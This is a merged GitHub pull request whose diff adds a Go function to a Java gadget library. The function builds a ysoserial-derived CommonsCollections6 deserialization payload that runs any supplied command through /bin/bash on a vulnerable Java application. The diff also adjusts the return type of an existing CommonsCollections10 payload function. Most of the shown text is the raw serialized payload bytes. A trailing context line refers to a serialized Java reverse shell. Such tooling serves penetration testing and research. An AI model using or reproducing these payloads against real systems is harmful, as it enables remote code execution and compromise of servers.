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Added Commons6(modified) payload and corrected return type on Commons10 #332

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Merged
merged 3 commits into from
Mar 20, 2025
Merged

Added Commons6(modified) payload and corrected return type on Commons10 #332

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1771318
Added modified Commons6 payload and corrected the return type for Com…
lobsterjerusalem Mar 20, 2025
a68b24a
Added more descriptive comment
lobsterjerusalem Mar 20, 2025
7f190e2
one last correction to old func
lobsterjerusalem Mar 20, 2025
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137 changes: 133 additions & 4 deletions java/javagadget.go
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Original file line number Diff line number Diff line change
Expand Up @@ -15,10 +15,139 @@ func ErrorInvalidCommandLength(msg string) error {
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
}

// the allocated space (255).
func Commons11CommandBytecode(commandStr string) ([]byte, error) {
// This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg
// The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to
// prepend it with a bash -c, and the spaces do not need to be replaced with $IFS.
// It also solves redirection issues that are present in unmodified ysoserial payloads.
// This payload will always run the provided command using bash, hence the name.
// That said you should not need, nor should you prepend a <shell> -c to commandStr parameter passed here.
func Commons6ModifiedBashCommandBytecode(commandStr string) (string, error) {
if len(commandStr) > 255 || len(commandStr) < 1 {
return []byte{}, ErrorInvalidCommandLength("command must be between 1 and 255 characters")
return "", ErrorInvalidCommandLength("command must be between 1 and 255 characters")
}

payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" +
"\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65" +
"\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00" +
"\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00" +
"\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e" +
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" +
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" +
"\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e" +
"\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79" +
"\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c" +
"\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76" +
"\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" +
"\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c" +
"\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61" +
"\x70\x3b\x78\x70\x74\x00\x03\x66\x6f\x6f\x73\x72" +
"\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" +
"\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c" +
"\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70" +
"\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82" +
"\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61" +
"\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67" +
"\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d" +
"\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69" +
"\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72" +
"\x6d\x65\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72" +
"\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d" +
"\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74" +
"\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72" +
"\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61" +
"\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec" +
"\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54" +
"\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74" +
"\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63" +
"\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63" +
"\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54" +
"\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78" +
"\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61" +
"\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e" +
"\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" +
"\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65" +
"\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00" +
"\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f" +
"\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f" +
"\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63" +
"\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f" +
"\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54" +
"\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76" +
"\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09" +
"\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x71\x00\x7e" +
"\x00\x03\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61" +
"\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d" +
"\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70" +
"\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73" +
"\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73" +
"\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e" +
"\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f" +
"\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38" +
"\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74" +
"\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
"\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b" +
"\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74" +
"\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" +
"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69" +
"\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00" +
"\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" +
"\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00" +
"\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" +
"\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f" +
"\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00" +
"\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69" +
"\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61" +
"\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b" +
"\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78" +
"\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d" +
"\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x1b\x00" +
"\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e" +
"\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0" +
"\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x78\x70" +
"\x76\x71\x00\x7e\x00\x1b\x73\x71\x00\x7e\x00\x13" +
"\x75\x71\x00\x7e\x00\x18\x00\x00\x00\x02\x70\x75" +
"\x71\x00\x7e\x00\x18\x00\x00\x00\x00\x74\x00\x06" +
"\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x1b" +
"\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61" +
"\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78" +
"\x70\x76\x71\x00\x7e\x00\x18\x73\x71\x00\x7e\x00" +
"\x13\x75\x71\x00\x7e\x00\x18\x00\x00\x00\x01\x75" +
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61" +
"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2" +
"\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00" +
"\x00\x00\x03\x74\x00\x09\x2f\x62\x69\x6e\x2f\x62" +
"\x61\x73\x68\x74\x00\x02\x2d\x63\x74\x00\xff" +

// 255 characters were allocated, we just put back the unused
// length as spaces
commandStr + strings.Repeat(" ", 0xff-len(commandStr)) +

"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00" +
"\x7e\x00\x1b\x00\x00\x00\x01\x76\x71\x00\x7e\x00" +
"\x2c\x73\x71\x00\x7e\x00\x0f\x73\x72\x00\x11\x6a" +
"\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74" +
"\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38" +
"\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x78" +
"\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" +
"\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b" +
"\x94\xe0\x8b\x02\x00\x00\x78\x70\x00\x00\x00\x01" +
"\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69" +
"\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda" +
"\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c" +
"\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09" +
"\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f" +
"\x40\x00\x00\x00\x00\x00\x00\x77\x08\x00\x00\x00" +
"\x10\x00\x00\x00\x00\x78\x78\x78"

return payloadBytes, nil
}

// Generated using ysoserial with CommonsCollections10
func Commons10CommandBytecode(commandStr string) (string, error) {
if len(commandStr) > 255 || len(commandStr) < 1 {
return "", ErrorInvalidCommandLength("command must be between 1 and 255 characters")
}

payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" +
Expand Down Expand Up @@ -283,7 +412,7 @@ func Commons11CommandBytecode(commandStr string) ([]byte, error) {
"\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x00\x77\x08" +
"\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"

return []byte(payloadBytes), nil
return payloadBytes, nil
}

// This is a serialized java reverse shell. The gadget was generated by ysoserial
Expand Down